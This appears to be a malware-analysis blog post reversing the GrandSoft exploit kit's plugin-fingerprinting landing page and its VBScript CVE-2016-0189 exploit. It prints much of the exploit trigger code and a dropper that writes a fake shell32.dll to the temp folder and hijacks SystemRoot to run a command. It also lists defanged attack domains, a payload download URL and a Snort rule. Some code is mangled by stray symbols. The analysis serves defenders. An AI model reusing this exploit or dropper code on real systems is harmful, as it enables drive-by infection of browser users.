Let's Learn: In-Depth Reversing of GrandSoft Exploit Kit PluginDetect Version "0.9.1" and Its VBScript Memory Corruption CVE-2016-0189 Exploit

Goal: Reverse in-depth one of the latest GrandSoft Exploit Kit (EK) landing page and its VBScript Memory Corruption CVE-2016-0189 exploit.

Background:
After analyzing one of the latest BlackTDS traffic redirection leading to GrandSoft EK, I decided to dive deeper into its landing page, observed exploit, and delivery mechanism. GrandSoft EK is being run by one Russian-speaking developer who promotes privately it under the name “GrandSoft Private Exploit Kit.” Largely, the EK is not available on commercial underground markets due to the developer ban for previous customer infractions.
Researcher Jerome Segura recently did an extensive in-depth study covering exploit kits under the title “Exploit kits: Winter 2018 review” for MalwareBytes. The study refers to the GrandSoft EK exploit that is discussed below in the blog.
Outline:
I.  Network Collector Module
I. Internals of GrandSoft Landing Page: Main loop
II. “PluginDetect” version
III. detectPlatform
IV. browser
V. addPlugin
VI. Exploit VBS CVE-2016-0189 payload 
VII. Traffic chain
VIII. Snort Rule
I. Internals of GrandSoft Landing Page: Main loop
The Exploit Kit landing page is unofsucated and contains the key main loop searching for plugin version related to the following plugins:
 A. Java
 B. Flash
 C. Silverlight
 D. AdobeReader
1
2
3
4
5
PluginDetect.getVersion(“A”);  
var verJ = PluginDetect.getVersion(“Java”);
var verF = PluginDetect.getVersion(“flash”);
var verS = PluginDetect.getVersion(“silverlight”);
var verPDF = PluginDetect.getVersion(“adobereader”);
Once the EK obtains the version it oputlates a UR path appending it to the var “srcOfScript” and concatenats to the string /getversionpd/. Notably, if the EK is unable to profile some of the plugins it generats the string “null.” Finally, the script is added to the iframe object that redirects to the payload retrieval function.
1
2
3
var srcOfScript = “/getversionpd/”+verJ+"/"+verF+"/"+verS+"/"+verPDF;

document.write("<iframe src=’"+srcOfScript+"’></iframe>");
Notably, the observed landing page contained a unique name identifying the redirect as appending the command “PluginDetect” and “998” forming the request. It stores the request as the variable “uniquename.“
1
2
3
4
         uniqueName: function() 
{
return j.name + “998”
}
II. “PluginDetect” version
The key function that is leveraged across the EK functionality is its “PluginDetect” one with version “0.9.1"The functions populates a list of variables as “installed,” “version,” “version0,” “getVersionDone,” and  “pluginName” that are subsequently populated via the script functionality.
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function() {
var j = {
version: “0.9.1”,
name: “PluginDetect”,
addPlugin: function(p, q) {
if (p && j.isString§ && q && j.isFunc(q.getVersion)) {
p = p.replace(/\s/g, “”).toLowerCase();
j.Plugins[p] = q;
if (!j.isDefined(q.getVersionDone)) {
q.installed = null;
q.version = null;
q.version0 = null;
q.getVersionDone = null;
q.pluginName = p;
}
}
},
III. detectPlatform
Notably, the Kit profiles platforms that is used to run the malware via grabbing and parasing “navigator.platform” value for Win, Mac, Linux, FreeBSD, iPhone, iPod, iPad, Win.CE, Win.Mobile, Pocket\sPC.
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
detectPlatform: function() {
var r = this,
q, p = window.navigator ? navigator.platform || “” : “”;
j.OS = 100;
if § {
var s = [“Win”, 1, “Mac”, 2, “Linux”, 3, “FreeBSD”, 4, “iPhone”, 21.1, “iPod”, 21.2, “iPad”, 21.3, "Win.CE", 22.1, “Win.Mobile", 22.2, "Pocket\sPC”, 22.3, “”, 100];
for (q = s.length - 2; q >= 0; q = q - 2) {
if (s[q] && new RegExp(s[q], “i”).test§) {
j.OS = s[q + 1];
break
}
}
}
}
IV. browser
GrandSoft also profiles very specific browser versions via two core functions “detectIE” and "detectNonIE."
A. detectIE
detectIE function is implemented via grabbing and parsing values “window.navigator” and “navigator.userAgent” looking “MSIE” values.
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
            detectIE: function() {
var r = this,
u = document,
t, q, v = window.navigator ? navigator.userAgent || “” : “”,
w, p, y;
r.ActiveXFilteringEnabled = !1;
r.ActiveXEnabled = !1;

q = u.documentMode;
try {
u.documentMode = “”
} catch (s) {}
r.isIE = r.ActiveXEnabled;
r.isIE = r.isIE || j.isNum(u.documentMode) || new Function("return/@cc_on!@/!1”)();
try {
u.documentMode = q
} catch (s) {}
r.verIE = null;
if (r.isIE) {
r.verIE = (j.isNum(u.documentMode) && u.documentMode >= 7 ? u.documentMode : 0) || ((/^(?:.?[^a-zA-Z])??(?:MSIE|rv\s:)\s*(\d+.?\d*)/i).test(v) ? parseFloat(RegExp.$1, 10) : 7)
}
},
B. browser.detectNonIE
The implementation of “detectNonIE” relies on parsing user agent strings such as “Gecko,” “rv”, “OPR|Opera”, “Edge”, “Chrome|CriOS”, and “Apple|Safari.”
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    detectNonIE: function() {
var q = this,
p = 0,
t = window.navigator ? navigator : {},
s = q.isIE ? “” : t.userAgent || “”,
u = t.vendor || “”,
r = t.product || “”;
q.isGecko = !p && (/Gecko/i).test® && (/Gecko\s*/\s*\d/i).test(s);
p = p || q.isGecko;
q.verGecko = q.isGecko ? j.formatNum((/rv\s*:\s*([.,\d]+)/i).test(s) ? RegExp.$1 : “0.9”) : null;
q.isOpera = !p && (/(OPR\s*/|Opera\s*/\s*\d.\sVersion\s*/|Opera\s*[/]?)\s*(\d+[.,\d])/i).test(s);
p = p || q.isOpera;
q.verOpera = q.isOpera ? j.formatNum(RegExp.$2) : null;
q.isEdge = !p && (/(Edge)\s
/\s*(\d[\d.])/i).test(s);
p = p || q.isEdge;
q.verEdgeHTML = q.isEdge ? j.formatNum(RegExp.$2) : null;
q.isChrome = !p && (/(Chrome|CriOS)\s
/\s*(\d[\d.])/i).test(s);
p = p || q.isChrome;
q.verChrome = q.isChrome ? j.formatNum(RegExp.$2) : null;
q.isSafari = !p && ((/Apple/i).test(u) || !u) && (/Safari\s
/\s*(\d[\d.])/i).test(s);
p = p || q.isSafari;
q.verSafari = q.isSafari && (/Version\s
/\s*(\d[\d.])/i).test(s) ? j.formatNum(RegExp.$1) : null;
},
V. addPlugin
After it grabs all the values, the landing page contains logic to populate and profile 4 different plugins such as “flash,” “adobereader,” “silverlight,” and “java.” Some of the core shortened functions of the function “addPlugin” runs and variables are listed below.
A. j.addPlugin(“flash”, e)
 1
2
3
4
5
6
7
8
9
10
11
12
    var e = {
mimeType: “application/x-shockwave-flash”,
setPluginStatus: function(t, q, p) {
var s = this,
r;
s.installed = q ? 1 : (t ? 0 : -1);
s.precision = p;
s.version = j.formatNum(q);
r = s.installed == -1 || s.instance.version;
r = r || s.axo.version;
s.getVersionDone = r ? 1 : 0;
},
B. j.addPlugin(“adobereader”, c)
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    var c = {
OTF: null,
setPluginStatus: function() {
var p = this,
B = p.OTF,
v = p.nav.detected,
x = p.nav.version,
z = p.nav.precision,
C = z,
u = x,
s = v > 0;
var H = p.axo.detected,
r = p.axo.version,
w = p.axo.precision,
D = p.doc.detected,
G = p.doc.version,
t = p.doc.precision,
E = p.doc2.detected,
F = p.doc2.version,
y = p.doc2.precision;
C. j.addPlugin(“silverlight”, h)
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    var h = {
getVersion: function() {
var r = this,
p = null,
q = 0;
if ((!q || j.dbug) && r.nav.query().installed) {
q = 1
}
if ((!p || j.dbug) && r.nav.query().version) {
p = r.nav.version
}
if ((!q || j.dbug) && r.axo.query().installed) {
q = 1
}
if ((!p || j.dbug) && r.axo.query().version) {
p = r.axo.version
}
r.version = j.formatNum§;
r.installed = p ? 1 : (q ? 0 : -1)
}
D. j.addPlugin(“java”, a)
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    var a = {
Property_names: [],
Property_values: [],
Property_values_lock: [],
JAVATOJSBRIDGE: 0,
JSTOJAVABRIDGE: 1,
mimeType: [“application/x-java-applet”, “application/x-java-vm”, “application/x-java-bean”],
mimeType_dummy: “application/dummymimejavaapplet”,
classID: “clsid:8AD9C840-044E-11D1-B3E9-00805F499D93”,
classID_dummy: “clsid:8AD9C840-044E-11D1-B3E9-BA9876543210”,

pluginObj: 0
},
OTF: null,
getVerifyTagsDefault: function() {
return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
}
VI. Exploit VBS CVE-2016-0189 payload 
(Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/getversionpd/null/null/<REDACTED>/null)
A. Exploit vulnerability
The exploit is identical to the available version on Github leveraging hex-encoded “shell32.” The trigger exploit function is called "SmuggleFag. " The function resizes the array and overlap freed array area with the exploit string.
The GrandSoft EK example of the array exploit building function is as follows:
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Dim aw 
Dim T9lJDdQHhgiB3
Dim lunnga(32)
Dim G0tAyknVP4
Dim y(32)
Dim x0lIEBoNEzX5
k1 = 1
Dim O4EiqKng6
ryririririiriririrooror = 1999 + k1
Dim T5shDvBvweXg7
sddddddddddddddddddddd = “%u4141”
Dim W5mhmePuc8
a9sddddddddddddddddddddad = sddddddddddddddddddddd & sddddddddddddddddddddd

k3 = 32
Dim c7vztnBkf10
fix3 = a9sddddddddddddddddddddad & sddddddddddddddddddddd
Dim u9zxrNOt11
zerofix = “%u0000”
Dim J1mVWOQyTRn12
trifix = zerofix & zerofix & zerofix
Dim f4HnLPliWAsQ13
d = a9sddddddddddddddddddddad & “%u0016” & fix3 & “%u4242%u4242”
F6fIXnZEvCA = "For Each G4xdz In U6kBzX End Function While Not Z7cvb.A9BFC "
b = String(ryririririiriririroorork3, “D”)
Dim G8GGmkKrCPM15
c = d & b
Dim J9oImLEJe16
x = UnEscape©
B. URI Path download of encoded payload from path
C. cmdrun script
Instead of downloading any additional code, the GrandSoft EK simple relies on building the hex-encoded shell32 to %TEMP% (GetSpecialFolder(2)) directory and retrieving and decoding it subsequently.
The relevant code is as follows:
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
For i = 1 to Len(hexDial) Step 2 
dlltxt = dlltxt & Chr(”&H”&Mid(hexDial, i,2))
Next
Dim i8oKFQXWobb134
Dim N5TmRtvl135

T7dhDuELNcP = " K4fCC = G6WdxBS & Trim(x1OfSy.h3WPqdH()) "
Set c=CreateObject(“Scripting.FileSystemObject”)
Dim b7osNLBJ137
fttttttttttttttttttttttttttttttt=c.GetSpecialFolder(2)
Dim a4scxQTEDc138
fake32=ttttttttttttttttttttttttttttttt&"\System32"
Dim U8PvDAdZk139
Dim R0tKOXofLfBm140
If Not c.FolderExists(fake32) Then
Dim s6toCqOQGfJ141
c.CreateFolder(fake32)
Dim e3LXQLVyimNX142
End If
Dim J8pKzTbSOxb143
Dim H5uTerik144
Dim R7PwLxmMpS145
Dim u7TTVOsNdn146
fakedll = c.BuildPath(fake32,“shell32.dll”)
Set b=c.CreateTextFile(fakedll)
b.Write “a1”
b.Close
Set b=c.CreateTextFile(fakedll)
b.Write dlltxt
b.Close

Set w=CreateObject(“WScript.Shell”)
Dim x9vACiVeCR155
w.CurrentDirectory=fttttttttttttttttttttttttttttttt
Dim Z7pMtTvMScyV156
fullCmdRun = cmdRun & fullPath
Dim l5dodqMT157
oldroot=w.Environment(“Process”).Item(“SystemRoot”)
Dim H4mQFgFAefUU158
w.Environment(“Process”).Item(“SystemRoot”)=ttttttttttttttttttttttttttttttt
Dim C2JTzxJrNXf159
w.Environment(“Process”).Item(“SysFilename”)= fullCmdRun
Dim d5ehKWvE160
Set sh = CreateObject(“Shell.Application”)
VII. Traffic chain
1. BlackTDS
2. GrandSoft EK Landing
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/entourage
3. GrandSoft EK CVE-2016-0189 Exploit
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/getversionpd/null/null/<REDACTED_VERSION>/null
4. GrandSoft EK Encoded Payload
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/2/[0-9]{8}
5. Payload Location
Domain: hxxp://80[.]211[.]10[.]121/downloads/cl[.]exe
VIII. Snort Rule:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:“Possible GrandSoft EK exploit serve alert”; flow:established,to_server; http_uri; content:"/getversionpd/"; http_uri; content:"/"; http_uri; content:"/"; http_uri; content:"/"; http_uri; reference:url,http://www.vkremez.com/2018/04/lets-learn-in-depth-reversing-of.html; classtype:Exploit-activity; rev:1;)

Article Link: http://www.vkremez.com/2018/04/lets-learn-in-depth-reversing-of.html